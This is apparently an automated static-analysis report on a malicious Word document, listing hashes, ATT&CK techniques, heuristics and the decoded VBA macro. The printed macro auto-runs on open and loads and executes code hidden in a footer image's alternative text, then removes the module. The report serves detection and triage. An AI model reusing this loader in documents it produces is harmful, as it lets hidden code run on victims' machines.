Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 faf2685f4163c65f…

MALICIOUS

Office (OLE)

43.0 KB Created: 2017-11-27 01:31:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 44f4dbd648ac67cedcebdd78240885f0 SHA-1: d6c17cb67233159f37b44b2d44900f6bb4f67d0b SHA-256: faf2685f4163c65f994a7dff09ed965da03857bcedb1166160bb25510be88242
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen and Auto_Open macros are present, which are commonly used to automatically execute malicious code upon opening the document. The script attempts to add and run code from the document's footer's alternative text, suggesting it's designed to download and execute a second-stage payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 685 bytes
SHA-256: a3ae0bab52157f3b4dc931033f3c1131292691cb0141dce31c2bb28bd893b71e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    Dim lfehu As Object
    Set lfehu = ActiveDocument.VBProject.VBComponents.Add(1)
    lfehu.CodeModule.AddFromString ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    Application.Run lfehu.Name & ".R"
    ActiveDocument.VBProject.VBComponents.Remove lfehu
End Sub
Sub AutoOpen()
    Auto_Open
End Sub